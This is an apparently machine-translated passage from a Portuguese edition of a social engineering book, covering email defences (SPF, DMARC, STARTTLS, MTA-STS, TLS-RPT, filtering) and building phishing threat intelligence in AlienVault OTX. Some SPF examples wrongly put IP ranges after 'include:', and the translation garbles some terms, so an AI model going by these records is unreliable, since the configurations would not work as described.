para uma breve solução de problemas)

Sem política (?), neutro Essencialmente significa sem política

Falha suave (~) Em algum lugar entre falha e neutro; geralmente esses e-mails são aceitos,
mas marcados

Hard fail (-) Rejeita o e-mail

Como backups, você pode configurar algo como +all (não recomendado, pois permitiria
todos os e-mails), +mx (permite e-mails do host listado no registro MX; não recomendado se estiver
usando e-mail na nuvem como Google ou Office 365), ou +nostarch.com (que permitiria e-mails de
nostarch.com).
Depois de obter essas informações, você estará pronto para criar o registro. Para começar,
navegue até o editor de DNS do seu provedor de hospedagem e crie um novo registro TXT. Como
alternativa, edite quaisquer registros TXT existentes que tenham v=spf1 no corpo, conforme mostrado
aqui:

dig walmart.com txt

; <<>> DiG 9.11.3-1ubuntu1.13-Ubuntu <<>> walmart.com txt

156 Capítulo 11
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

;; opções globais: +cmd


;; Obteve resposta:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6907
;; bandeiras: qr rd ra; PERGUNTA: 1, RESPOSTA: 15, AUTORIDADE: 0, ADICIONAL: 1

;; PSEUDOSECÇÃO OPT:
; EDNS: versão: 0, flags:; UDP: 65494
;; SEÇÃO DE PERGUNTAS:
;wamart. com. DENTRO TXT

;; SEÇÃO DE RESPOSTA:
walmart. com. 300 DENTRO TXT "v=spf1
include:_netblocks.walmart.com include:_smartcomm.walmart.com include:_vspf1.walmart.com
include:_vspf2.walmart.com include:_vspf3.walmart.com ip4:161.170.248.0/24
ip4:161.170.244.0/24 ip4 :161.170.241.16/30 ip4:161.170.245.0/24 ip4:161.170.249.0/24" " ~all"

--recorte--
;; Tempo de consulta: 127 ms
;; SERVIDOR: 127.0.0.53#53(127.0.0.53)
;; QUANDO: terça-feira, 08 de setembro 05:42:49 UTC 2020
;; TAMANHO MSG recebido: 1502

Defina o valor de tempo de vida (TTL) para o padrão de 14.400. O valor TTL
é o tempo que os resolvedores recursivos de DNS têm para armazenar em cache
nosso registro SPF antes de obter um novo (se alterado). Algumas coisas, como ativos
críticos e balanceadores de carga, funcionam melhor com um TTL muito pequeno. Ativos
que não devem mudar com frequência ou ter redundância incorporada (como registros
MX) são recomendados para ter valores TTL maiores. Isso é para tentar combater técnicas
como fluxo rápido ou registros DNS dinâmicos comumente usados em campanhas
sofisticadas de phishing e ataques contra sites de mídia social.
Em seguida, nomeie o registro TXT com o nome do domínio da organização. Para o
texto real, insira v=spf1, seguido pelos mecanismos e pela política, conforme discutido
anteriormente. Para definir esses mecanismos, você precisará conhecer os cinco tipos de
campos permitidos:

ip4 Endereço IPv4 ou intervalo CIDR

ip6 endereço IPv6

mx O registro MX do remetente no DNS

um registro de endereço para host no DNS

include Referencia a política de outro domínio

Agora, construa a string para inserir no DNS. Digamos que você permita que hosts
usando o registro MX do nostarch.com , além do MailChimp e um intervalo de endereço
IP privado e não roteável, com falha grave. O texto para entrar no DNS ficaria assim:

v=spf1 +mx include:192.168.1.22 include:192.168.2.0/24 include:servers.mcsv.net -all

Você também pode escrever esse disco de uma maneira alternativa. No Capítulo 4,
você aprendeu que o No Starch usa o Google Workspace, então você pode substituir

Controles Técnicos de E-mail 157


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

a parte +mx com os servidores do Google (que podem ser encontrados no painel do
Workspace). Para manter isso em uma linha, você removerá o mecanismo de inclusão
MailChimp SPF. A entrada alternativa ficaria assim:

v=spf1 include:_spf.google.com include:192.168.1.22 include:192.168.2.0/24 -all

Depois de colar isso no registro DNS, aguarde até 72 horas para que ele se
propague. Leva tempo para que os vários servidores DNS na internet copiem as
informações atualizadas. Esse tempo depende muito dos tempos TTL, que direcionam os
servidores para armazenar informações em cache por um período de segundos antes da
atualização. Na minha experiência, o SPF pode se tornar válido quase imediatamente, ao
contrário do DKIM. Quer você use o Google como seu provedor de e-mail ou não, ainda
pode usar o site Google Admin Toolbox Check MX para validar as informações fornecidas.
Você pode encontrar a caixa de ferramentas em https:// toolbox.googleapps
.com/ apps/ checkmx/. Você pode encontrar instruções para configurar o SPF em outras
plataformas em http:// email-security.seosint.xyz.

Deficiências do SPF
Lembre-se do Capítulo 4 que o SPF permite que os invasores enumerem domínios,
endereços IP e intervalos de endereços IP que uma organização possui ou usa. Os
invasores também podem saber se o alvo tem uma falha de hardware ou falha de software
configurada verificando -all (falha de hardware), ~all (falha de software) ou ~? (neutro)
parte do registro TXT. Essas informações podem influenciar a decisão deles sobre falsificar
o domínio de sua organização ou talvez ocupar algo semelhante. Um engenheiro social
detalhista pode até mesmo configurar DKIM e SPF em seu domínio de phishing para
ignorar quaisquer verificações que uma organização possa ter em vigor, caso eles
realmente apliquem quaisquer políticas.
O SPF também pode alertar os invasores sobre suas relações de trabalho com
outras organizações. Se outros domínios precisarem de autoridade para enviar e-mails
em seu nome, talvez seja necessário criar registros SPF para eles. Exemplos de domínios
que precisarão de permissão para enviar e-mails em nome de uma organização são listas
de e-mail como MailChimp, Mailgun ou Constant Contact. Considere também outros
provedores que enviam e-mails em nome da organização, como GoToMeeting ou
plataformas de colaboração semelhantes.
O aspecto final do SPF não é uma vulnerabilidade, mas sim uma deficiência.
Assim como o DKIM, o SPF é bom de implementar e pode proteger a reputação de uma
organização, mas apenas se o servidor de e-mail do destinatário estiver configurado para
verificar os registros SPF e aplicar a política definida. Não fazer isso, no entanto, pode
prejudicar a reputação da sua organização.

Autenticação, relatórios e conformidade de mensagens baseadas em domínio


O DMARC pega as implementações existentes de SPF e DKIM e as usa para criar
uma solução mais robusta para evitar falsificação, promessa de e-mail comercial e
danos à reputação. Introduzido pela primeira vez como um padrão da Internet em 2015
(RFC 7489), ele busca superar as limitações do SPF e do DKIM: implementa os dois
padrões anteriores, mas também relata sucessos e falhas para o domínio de envio. O
DMARC verifica o alinhamento de um e-mail ou

158 Capítulo 11
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


se o campo 5322.From corresponde aos nomes de domínio autenticados. Em outras palavras, ele
verifica se um e-mail com um campo De afirmando ser de info@nostarch.com realmente se
originou desse domínio. Um e-mail pode passar SPF e DKIM, mas falhar no alinhamento.

Aqui está o que acontece quando uma comunicação usa DMARC. Primeiro, um usuário
escreve um e-mail. O servidor de e-mail de envio insere um cabeçalho DKIM nele e o envia ao
destinatário. A partir daí, para que o e-mail atravesse uma organização com uma política DMARC
implementada, duas coisas devem acontecer. Primeiro, o e-mail deve passar por verificações de
assinatura DKIM (5322.From, com validação usando uma chave pública contida no DNS). Em
segundo lugar, ele deve passar por verificações SPF (5322.From) e registros TXT. Dependendo do
resultado dessas verificações, o registro DMARC especificará que o servidor deve aceitar ou rejeitar
o e-mail. Relatórios ocorrerão para falhas.

O e-mail passa por quaisquer processos ou filtros decretados pelo destinatário e, se tudo passar,
chega na caixa de entrada do destinatário.
O DMARC é amplamente utilizado. Várias estruturas de conformidade exigem isso,
juntamente com as agências federais dos EUA, conforme orientado pela Diretriz Operacional
Vinculante 18-01 do Departamento de Segurança Interna. Se você acompanhar os materiais de
marketing do fornecedor, deve se lembrar da enxurrada de fornecedores que usaram essa diretiva
para vender DMARC e ferramentas de segurança de e-mail em 2017. Mas essas implementações
são inúteis sem uma política aplicada ou uma configuração técnica que direcione as ações para
ocorrer com o mínimo intervenção humana. Além disso, o destinatário deve realmente verificar os
registros e aplicar a política que eles têm em vigor.

Existem dois RFCs para atualizar o DMARC: RFC 8553, que aborda o uso
sublinhados em nomes de nó; e RFC 8616, que aborda o uso de caracteres ASCII em SPF,
DKIM e DMARC quando eles não abordam caracteres usados internacionalmente.

Implementando DMARC

Antes de implementar o DMARC, você deve implementar o SPF e o DKIM.


Então você precisará coletar as informações para colocar no registro TXT. Você pode encontrar o
formato de registro completo definido na Seção 6.3 da RFC 7489, mas precisará do seguinte, no
mínimo:

A versão do DMARC (v) A versão do DMARC em uso. Atualmente é 1, indicado por v=DMARC1.

A política (p) A política a ser aplicada para um determinado domínio.

A política de subdomínio (sp) Política que é aplicável apenas a subdo mains do domínio
de envio, como e-mails de info@us.nostarch.com
mas não info@nostarch.com. Na ausência de um campo sp ou qualificador, a organização
aplicará o campo p principal .

A porcentagem de “e-mails inválidos” para aplicar a política (pct) Um número entre 0 e


100 que determina a porcentagem de e-mails de um proprietário de domínio para aplicar a
política.

A tag rua O endereço de e-mail para o qual os relatórios são enviados. Os coletores OSINT
podem ler e armar isso, então um alias é recomendado.

Controles Técnicos de E-mail 159


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Todos os campos do registro DMARC, exceto a versão, requerem quali


fogos. Por exemplo, o campo de política aceita nenhum, quarentena ou rejeição.
O qualificador nenhum não executa nenhuma ação, enquanto a quarentena redireciona o e-mail
para ser colocado em pastas de spam ou enviado aos administradores e rejeitar rejeita o e-mail.

Você também pode adicionar opções de relatório forense e um endereço para encaminhar
relatórios forenses. A tag de relatório de falha forense (fo) determina quais eventos gerarão
relatórios forenses. Possui quatro opções: 0, que cria um relatório de falha se todos os mecanismos
falharem; 1, que cria um relatório de falha se algum mecanismo falhar; d, que cria um relatório de
falha de DKIM se o DKIM falhar, independentemente do alinhamento; e s, que cria um relatório de
falha do SPF se o SPF falhar, independentemente do alinhamento. A tag ruf especifica o endereço
de e-mail para o qual os relatórios forenses são enviados. Como a tag rua , os coletores OSINT
podem ler e armar isso, então use um alias.

Dois campos adicionais, adkim e aspf, determinam se o proprietário requer o modo de


alinhamento, que dita as ações a serem tomadas se o e-mail falhar no SPF ou DKIM. Ambos têm
valores possíveis de r para relaxado e s para estrito.
Relaxado requer uma correspondência exata apenas para o domínio, enquanto estrito requer uma
correspondência exata completa para passar. Ambos os valores são opcionais e, por padrão, definidos
como relaxados.

Isso pode parecer muita informação. Para colocá-lo em uso, vamos configurar um registro
DMARC para nostarch.com:

v=DMARC1; p=quarentena;pct=95; rua=mailto:dmarc@nostarch.com; fo=1; ruf=mailto:soc@nostarch.com;

Este registro possui uma política de quarentena apenas para domínios. Aplica-se a 95 por
cento dos e-mails, e qualquer falha causa relatórios forenses, com relatórios forenses indo para
soc@nostarch.com. Você definirá o endereço de e-mail para receber os relatórios gerais do DMARC
para dmarc@nostarch.com.
Depois de redigir isso, adicione-o a um registro TXT no nostarch.com
Arquivo de zona DNS com o nome dmarc e um TTL de 14400.

Deficiências do DMARC

Além das mesmas divulgações de informações presentes no SPF e do fato de que seus destinatários
de e-mail podem não verificar SPF ou DKIM, o próprio DMARC não apresenta problemas ou
vulnerabilidades significativos.
Dito isso, simplesmente criar os registros DNS TXT para DMARC não o torna imediatamente
seguro. Por exemplo, você pode facilmente configurar incorretamente sua implementação do
DMARC. Ao configurar inicialmente o DMARC, evite rejeitar e-mails, pois isso remove a capacidade
de as pessoas revisarem a validade do e-mail e pode causar interrupções nos negócios ou
comunicações mal direcionadas.

Mitigar isso é simples: comece definindo a política DMARC inicial como nenhum e revise 100
por cento dos e-mails (p=nenhum; pct=100;). À medida que o tempo avança, diminua o campo pct
gradualmente até se sentir confortável com os relatórios e o desempenho. Depois de atingir um bom
nível, altere a porcentagem de revisão para um valor gerenciável, mas realista. Eu recomendo

160 Capítulo 11
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

60 a 85 por cento para empresas, dependendo de seus recursos. Em seguida, atualize o


registro DMARC TXT para refletir isso (p=quarentena; pct=75;).
Lembre-se de que os atores que usam e-mail para tentar obter acesso à empresa
de sua organização podem aproveitar ferramentas para aprimorar sua legitimidade,
portanto, não confie apenas em SPF, DKIM e DMARC. Por exemplo, se um ator
comprometer outra organização com SPF, DKIM e DMARC configurados e, em
seguida, enviar um e-mail à sua organização por meio de canais legítimos, ele passará
em todas as verificações associadas a esses três padrões.
Outro vetor de ameaça não abordado pelo DMARC é a criptografia. Os três
padrões não fornecem meios para criptografar e-mails. Claro, o DKIM usa criptografia,
mas apenas para assinar e-mails. As próximas seções abordam como lidar com essa
lacuna.

TLS oportunista Quando

originalmente projetados, os protocolos de e-mail SMTP, POP e IMAP não incluíam


criptografia. À medida que os ataques evoluíram, os pesquisadores criaram o Opportunistic
Transport Layer Security (TLS) para criptografá-los. Às vezes, você o verá com o apelido
de STARTTLS, após o comando usado para iniciar o serviço.
Veja como o STARTTLS funciona. Primeiro, o servidor de envio se conecta ao
servidor de recebimento normalmente. Em seguida, solicita SMTP estendido, que permite
imagens e anexos. A partir daqui, o remetente pergunta ao servidor destinatário se ele
suporta STARTTLS. Se a resposta for sim, a conexão é reiniciada e criptografa o e-mail
usando a versão do protocolo SSL ou TLS acordada por ambos os hosts. Se a resposta
for não, o e-mail continua sem criptografia.
Outra variante, chamada TLS imposto, não permite o envio do e-mail, a menos que a
conexão seja segura. O uso de TLS imposto não é amplamente adotado devido à
possibilidade de o correio ser bloqueado pela incapacidade de negociar a criptografia.

O maior problema com o STARTTLS é que ele é oportunista, o que significa que
usa criptografia apenas se disponível. Na ausência de criptografia disponível ou suporte
para ela, a mensagem será enviada em texto simples. Outro problema com o STARTTLS
é que o próprio handshake de criptografia ocorre em texto sem formatação, o que permite
que possíveis invasores roubem as informações da sessão ou modifiquem as mensagens
por meio de ataques man-in-the-middle. Você pode ver esses dois problemas explorados
em ataques STRIPTLS, em que um invasor desabilita o comando STARTTLS real ou faz
parecer que o TLS está indisponível. Ao configurar o SMTP para exigir TLS para conexões
de saída, você pode reduzir o STRIPTLS, mas pode perder os serviços de e-mail de saída
se configurar incorretamente o TLS ou se o destinatário não estiver configurado para
receber e-mails TLS/bloquear a porta.

Outra mitigação de STRIPTLS existe em uma função subordinada das Extensões


de Segurança do Sistema de Nomes de Domínio (DNSSEC) chamada Autenticação
baseada em DNS de Entidades Nomeadas (DANE). A implementação do DANE exige
que as organizações criem um registro DNS que direcione todas as comunicações em
uma porta ou protocolo específico para negociar a sessão usando uma chave pública
colocada no DNS. Isso também pode ser mal utilizado ou coletado como parte de um OSINT

Controles Técnicos de E-mail 161


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

esforço, como com qualquer coisa em entradas de DNS públicas, pois um adversário
pode consultar registros de DNS e fazer inferências das entradas. Embora essa
mitigação em si seja simples de implementar, o DNSSEC em geral não é, então não
vimos sua adoção generalizada.
Na mesma época em que o DANE estava sendo desenvolvido, uma solução
diferente para o mesmo problema (STRIPTLS) estava sendo elaborada: SMTP MTA
Strict Transport Security (MTA-STS).

MTA-STS
SMTP MTA Strict Transport Security (MTA-STS) é outra maneira de implementar o
TLS para proteger as comunicações por e-mail. Nesse método, as duas partes
negociam o handshake TLS usando registros DNS TXT, bem como arquivos
carregados em diretórios específicos em um subdomínio predefinido e acessível ao
público do domínio de envio.
Este padrão se aplica apenas ao tráfego SMTP entre servidores de correio. o
a comunicação entre cliente e servidor é realizada usando HTTP Strict Transport Security
(HSTS). Devido à complexidade da implementação do MTA-STS, não abordarei o processo aqui.
Você pode encontrar links para tutoriais em http:// email-security.seosint.xyz.

TLS-RPT
SMTP TLS Reporting (TLS-RPT) é um método de coleta de estatísticas sobre
possíveis falhas ao negociar TLS e domínios associados. Pense nisso como comparável
ao DMARC, se o MTA-STS fosse o elemento DKIM. Você pode usar essas informações
para solução de problemas ou inteligência de ameaças.
A configuração do TLS-RPT é relativamente fácil, pois requer apenas um registro
DNS TXT com _smtp._tls. domain.tld e um endereço de relatório no corpo. Se ocorrer
um erro com um e-mail usando um método criptografado (DANE ou MTA STS), o e-
mail de denúncia receberá uma notificação. O seguinte é um exemplo para nostarch.com:

_smtp._tls.nostarch.com 300
"v=TLSRPTv1;rua=mailto:soc@nostarch.com"

A linha superior é o nome do campo e o TTL. A segunda linha é o valor.


Aqui, definimos o TTL para 300 e reportamos para soc@nostarch.com.

Tecnologias de filtragem de e-mail


A etapa final para alcançar a segurança de e-mail do Zen é usar tecnologias de
filtragem. Isso normalmente significa contratar um fornecedor ou provedor de
serviços para receber seus e-mails antes de você. O fornecedor os examinará em
busca de padrões observados em todos os clientes e verificará SPF, DKIM e
DMARC, se configurado. A filtragem de e-mail não é perfeita, mas remove muito da
carga da equipe técnica. Tenha em mente, porém, que a contratação de um fornecedor

162 Capítulo 11
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

provavelmente exigirão que você faça alterações em seus registros públicos de DNS, e
você pode descobrir essas relações usando técnicas OSINT, conforme discutido
anteriormente.
Muitas configurações e produtos estão por aí. Ao escolher um fornecedor, considere a
taxa de transferência de e-mails por minuto ou segundo. Decida também se deseja manter
a filtragem de e-mail por meio de software, um dispositivo ou um serviço de nuvem. Cada
opção apresenta desafios únicos, principalmente com relação à implementação, suporte,
disponibilidade e geração de relatórios, e cada uma oferece recursos diferentes. A filtragem
de e-mail pode ser mais fácil de implementar em instâncias de nuvem, pois elas protegeriam
melhor a disponibilidade de e-mail. No entanto, qualquer decisão que exija configuração,
especialmente além dos registros DNS, pode gerar oportunidades de falha, interrupção ou
segurança deficiente. Se você optar por usar um provedor de nuvem, também dependerá do
SLA e do seu contrato com o fornecedor. Dito isso, eles simplificam o processo; você será
responsável apenas por atualizar seu registro MX no arquivo de zona DNS e selecionar as
opções apropriadas.

Alguns fornecedores também manterão e gerenciarão suas implementações de


SPF, DKIM e DMARC para você. Pese os riscos do que pode ocorrer para interromper o
sistema em relação ao que você ganha ao usar o sistema. O fornecedor fornece a você
sua inteligência de ameaças? Este é o serviço no qual o fornecedor é especializado? O que
o contrato envolve?

Outras proteções
Como profissionais de segurança, devemos construir nossos sistemas para que eles
possam não apenas lidar com o uso comum, mas também resistir ao abuso de uma forma
que contenha as ações por tempo suficiente para que possamos detectá-los e respondê-
los. Este é o cerne do livro de Winn Schwartau Time Based Security (Impact PR, 1999).
Ao proteger seus sistemas contra phishing, considere a implementação de controles
além daqueles usados apenas para e-mail. Embora não os discutamos neste capítulo,
implemente proteção contra malware, seja antivírus, detecção e resposta de ponto final
(EDR) ou qualquer outro produto antimalware.
A maioria dos malwares chega às redes por e-mail quando os usuários baixam de um
phishing bem-sucedido.
Duas outras tecnologias podem evitar resultados catastróficos de phishing:
sistemas de monitoramento de integridade de arquivo (FIM) e prevenção de perda de
dados (DLP). FIM monitora um conjunto de arquivos para modificação. Você pode
escrever uma solução FIM simples que pegue um hash criptográfico de cada arquivo e o
armazene em algum lugar. Ele então validaria se os arquivos não foram alterados e, se
tivessem, verificaria se a alteração foi autorizada. Isso é importante para detectar agentes
mal-intencionados que já estão na rede. Se o conteúdo do arquivo for alterado sem
autorização, isso pode indicar novos aplicativos em execução ou sendo instalados,
ransomware ou alguém adulterando arquivos importantes.

O DLP visa impedir que os usuários enviem arquivos por e-mail para fora da
organização, carreguem arquivos para a Internet pública e sites de compartilhamento de
arquivos (como Google Drive, Box e DropBox) e salvem dados em dispositivos USB não autorizados

Controles Técnicos de E-mail 163


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

(se houver). Muitas soluções DLP também têm a capacidade de impedir que os usuários
compartilhem dados confidenciais ou regulamentados, como dados PCI (Payment Card
Industry), PHI e PII. Isso é importante porque evita que os usuários entreguem segredos
comerciais, propriedade intelectual e joias da coroa. Isso também elimina muitos dos motivos
pelos quais eles teriam que conectar uma unidade USB em suas estações de trabalho,
reduzindo a probabilidade de um ataque de isca bem-sucedido.

Conclusão
Neste capítulo, você tomou medidas para tornar sua organização um pouco mais segura.
Você aprendeu sobre os três padrões de segurança de e-mail que visam reduzir a
falsificação de e-mail, bem como as deficiências de cada um. (Se você é como eu,
desenvolveu um ódio especial pelas letras RFC.)
Usando as informações deste capítulo, você pode aplicar os conceitos e padrões à
sua organização para criar camadas de defesa. Você pode ter que explicar ao gerenciamento
que SPF, DKIM e DMARC não são soluções absolutas para phishing e que, mesmo quando
estiverem em vigor, a organização deve considerar a instalação de mais controles, como
soluções de filtragem de e-mail.
Depois que a organização escolher a solução de filtragem de e-mail mais adequada às
suas necessidades de conformidade e orçamento, reserve um tempo para implementar a
solução adequadamente. Em seguida, teste-o com simulações de phishing. Se as simulações
forem pegas, ótimo. Em seguida, você pode liberá-los da quarentena para testar os usuários.
Se as simulações passarem, trabalhe com o fornecedor para determinar por que e como
corrigir o problema.

164 Capítulo 11
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

12
PRODUZINDO AMEAÇA
INTELIGÊNCIA

Portanto, sua organização se defendeu contra uma


ameaça de phishing. Parabéns! Agora, como você
repete esse resultado quando confrontado com
ataques futuros? Sua organização deseja compartilhar
essa inteligência com outras organizações? Sua organização irá
capturar e armazenar dados sobre esta tentativa para evitar
novas tentativas? Você registrará qualquer código de kit de
exploração encontrado nos e-mails de phishing usados para
espalhar um conta-gotas de malware e, por fim, ransomware?
Quando ocorre um incidente, três coisas úteis devem acontecer. Primeiro, a
organização deve automatizar a resposta da organização usando um software que
bloqueie proativamente o ataque ou execute um script para interromper um incidente
em andamento. Em segundo lugar, a organização poderia coletar informações sobre
cada ataque para diminuir sua futura detecção e tempo de resposta. Finalmente, a
organização poderia compartilhar partes dessas informações com outras organizações,
permitindo que todos reduzissem seus tempos de detecção e resposta.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Embora alguns feeds de inteligência de ameaças sejam óleo de cobra, muitos


são produtos legitimamente úteis. Mas confiar apenas em outra pessoa para
fornecer inteligência à sua organização, para ajudar a defender o ambiente que a
organização construiu e pelo qual é responsável, é ingênuo. Embora receber
contribuições de especialistas que tenham informações sobre tendências e atores seja
uma boa jogada, não deve ser a única.
Neste capítulo, vamos percorrer o processo de criação de inteligência de ameaças
sobre um e-mail de phishing usando uma plataforma gratuita de compartilhamento de
inteligência: AT&T Alien Labs OTX, às vezes ainda referido como AlienVault OTX.
Também reutilizaremos muitas das técnicas OSINT que você aprendeu anteriormente neste
livro, desta vez com o propósito muito diferente de verificar se um URL ou e-mail é malicioso.

Antes de prosseguir, recomendo configurar uma máquina virtual.


Dessa forma, você pode evitar a abertura de arquivos anexados e evitar possíveis
infecções por malware em sua estação de trabalho.

Usando Alien Labs OTX


Alguns fornecedores de inteligência de ameaças cobram da organização o consumo
de inteligência de ameaças, enquanto outros cobram da organização para produzi-la. Mas
um fornecedor que é universalmente gratuito e permite que qualquer pessoa contribua é
a AT&T Cybersecurity. Anteriormente conhecida como AlienVault, esta empresa administra
a plataforma Alien Labs Open Threat Exchange (OTX), que permite que você assine feeds
de inteligência e publique suas próprias informações.
É certo que sua principal força (que é grátis) também é sua principal fraqueza, mas
um ponto positivo é que você não precisa consumir nenhuma inteligência só porque está
na plataforma; você deve selecionar quais feeds deseja seguir e assinar (de graça).

Se uma organização usa o Monitoramento Unificado de Segurança (USM)


da AT&T Cybersecurity ou o SEIM (OSSIM) de Código Aberto como seu SEIM, a
organização pode inserir pulsos que você assina diretamente no USM, sincronizando o
SEIM com a API OTX. Se a organização não estiver usando USM, ela pode conectar
diretamente OTX com Suricata, Bro e Trusted Automated Exchange of Indicator
Information (TAXII); caso contrário, ele pode usar as APIs Java, Python ou Go.

Uma vez que a organização tenha os indicadores no formato desejado, ela pode
procurá-los imediatamente usando o método de sua escolha – scripts personalizados,
YARA, STIX, TAXII ou algo semelhante.
Isso permitirá que a organização identifique e responda a ameaças conhecidas.

Analisando um e-mail de phishing em OTX


E as ameaças que apenas sua organização observou? Como sua organização pode
detectar melhor tentativas futuras e possivelmente salvar outras

166 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

organizações das mesmas dores de cabeça mais tarde? Aqui está a resposta simples:
produzir inteligência de ameaças.
Saber por onde começar é uma das barreiras significativas à entrada. Como este é
um único capítulo de um livro sobre engenharia social e OSINT, pouparei você das
justificativas filosóficas para produzir inteligência de ameaças.
Em vez disso, vamos fazer um exercício.
Primeiro, você precisa de alguns dados sobre os quais produzir inteligência.
Pode ser um e-mail, um site ou um arquivo. Para cobrir todos os três aspectos, vamos
supor que a organização receba um e-mail direcionando os usuários a um site que
solicita que eles insiram as credenciais e, em seguida, baixe e tente executar um arquivo
quando o usuário enviar as credenciais. Você pode usar o arquivo chamado invoice.eml
no repositório do GitHub em https:// cti.seosint.xyz.

Criando um pulso
Faça login no OTX e selecione Create Pulse no painel OTX, que é onde você chegará
sempre que fizer login (Figura 12-1). No OTX, um pulso é um conjunto de indicadores de
comprometimento para um ataque específico.

Figura 12-1: Painel OTX

Você deve ter algumas opções para criar o pulso (Figura 12-2). Você pode
importar texto ou um site ou inserir manualmente os indicadores.

Produzindo Inteligência de Ameaças 167


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 12-2: Criando um pulso em OTX

Vamos começar copiando e colando toda a origem do e-mail.

Analisando a origem do e-mail


Eu gosto de usar o Thunderbird para visualizar a origem do e-mail. É um cliente de e-mail
gratuito e de código aberto mantido pela Mozilla. Assim que o Thunderbird estiver
instalado e funcionando, você pode importar todos os e-mails salvos para OTX no
formato .eml e começar a analisar. No Thunderbird, primeiro abra o e-mail. Em seguida,
no canto superior direito, selecione MoreÿView Source (Figura 12-3).

Figura 12-3: Visualizando a origem de um e-mail no Thunderbird

168 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Assim que o e-mail for aberto como fonte, você deverá ver algo como
o trecho na Figura 12-4. Esta é a trilha subjacente de dados que são transmitidos
quando você envia um e-mail, incluindo todas as verificações realizadas e a origem e
os destinos do e-mail. Você pode visualizar qualquer e-mail para download dessa
maneira, às vezes até no próprio cliente de e-mail. Por exemplo, no Gmail, você clicaria
nos três pontos no canto superior direito de um e-mail e selecionaria Mostrar original.

Figura 12-4: A origem de um e-mail de phishing

É importante visualizar a origem de um e-mail. Isso permite que você veja de


onde um e-mail realmente veio, em vez de depender de um endereço de origem
potencialmente falsificado. Você verá o endereço de e-mail real e o endereço de e-mail
falsificado, bem como o endereço IP do remetente.
Ao copiar e colar este e-mail no pulso, tome cuidado para não incluir o endereço
IP do seu servidor de e-mail ou quaisquer outros endereços pertencentes a
fornecedores de e-mail confiáveis. Se você adicioná-los e começar a pesquisar,
receberá um número extremamente alto de falsos positivos que, se não forem
ajustados, gerarão complacência.

Indicadores de entrada
Agora que você obteve as informações da fonte, está pronto para importar alguns
indicadores. Indicadores são pontos de dados relacionados à atividade que você
está capturando no pulso. A Tabela 12-1 lista os indicadores que a OTX aceita.

Tabela 12-1: Indicadores Aceitos pela OTX

Tipo de indicador Descrição

IPv4 O endereço IPv4 do servidor de e-mail de origem ou site que hospeda


o phishing ou malware
IPv6 O endereço IPv6 do servidor de e-mail de origem ou site que hospeda
o phishing ou malware
Domínio O domínio do servidor de e-mail de origem ou site que hospeda o phishing
ou malware

(contínuo)

Produzindo Inteligência de Ameaças 169


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Tabela 12-1: Indicadores Aceitos pela OTX (continuação)

Tipo de indicador Descrição

nome de anfitrião O nome do host ou subdomínio do servidor de e-mail de origem ou site que hospeda o
phishing ou malware

E-mail O endereço de e-mail de origem

URL O localizador uniforme de recursos do site que hospeda o phishing ou malware

URI O identificador de recurso uniforme da localização precisa no site que hospeda o


phishing ou malware

Hash do arquivo A representação criptográfica unidirecional do arquivo malicioso contido no e-mail


de phishing. Isso pode ser feito em vários formatos, incluindo estes:

• MD5: representação criptográfica de 128 bits de um arquivo usando o


Algoritmo de resumo de mensagem 5
• SHA-1: representação criptográfica de 160 bits de um arquivo usando
o Algoritmo de Hashing Seguro
• SHA-256: representação criptográfica de 256 bits de um arquivo
usando o algoritmo Secure Hashing de 265 bits

PEHASH Portable Executable Hash (peHash) método de hashing fuzzy, que em vez de
hashing o arquivo inteiro realiza hashing byte a byte pegando várias variáveis de
dentro do executável e fazendo hash delas.

IMPASH Hash de Importação; semelhante ao peHash, mas rastreia as DLLs e outros arquivos
que o código importa

CIDR O endereço de roteamento interdomínio sem classe do intervalo de endereços IP de rede


que um domínio possui, expresso como um IP base e o número de sub-redes possíveis.
O formato é normalmente xxx.xxx.xxx.xxx/yy, onde xxx.xxx.xxx.xxx é o endereço IPv4
base e yy é um número entre 1 e 32 que denota o número de sub-redes e hosts possíveis
dentro deste bloco. Normalmente, você verá números entre 24 e 32 nesse intervalo.

Caminho de arquivo Um local exclusivo dentro da estação de trabalho onde os arquivos maliciosos são
descobertos. Isso mostra o comportamento da uniformidade, provavelmente por meio de
um script.

MUTEX Um objeto de exclusão mútua (MUTEX) é um objeto dentro de um programa projetado


para permitir que vários threads compartilhem o recurso, como acesso a arquivos, mas
não ao mesmo tempo.

CVE Vulnerabilidades e exposições comuns são vulnerabilidades divulgadas de forma


responsável. A inclusão de um CVE no pulso permite que outras pessoas procurem o
CVE ao assinar feeds. Isso é especialmente útil quando o e-mail de phishing tenta
executar algum nível de exploração técnica com base em uma vulnerabilidade existente.

YARA YARA é um analisador de Yet Another Recursive Acronym ou Yet Another


Regular Expression (REGEX). Esse é um meio de combinar padrões em arquivos
e iterar em um ambiente usando um SEIM ou uma ferramenta YARA personalizada,
compatível com Windows, macOS e Linux.

170 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Copie toda a origem do e-mail e cole-a na caixa vermelha da imagem e


selecione Extrair indicadores (Figura 12-5). Isso fará a análise automaticamente,
mas você precisará passar pelos indicadores e verificá-los.

Figura 12-5: Extração do Indicador OTX

Como você pode ver na Figura 12-6, o analisador extraiu cinco indicadores
do e-mail que você colou.

Figura 12-6: Indicadores incluídos

Produzindo Inteligência de Ameaças 171


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Você precisa verificar se esses indicadores pertencem ao pulso. Como você sabe, pela
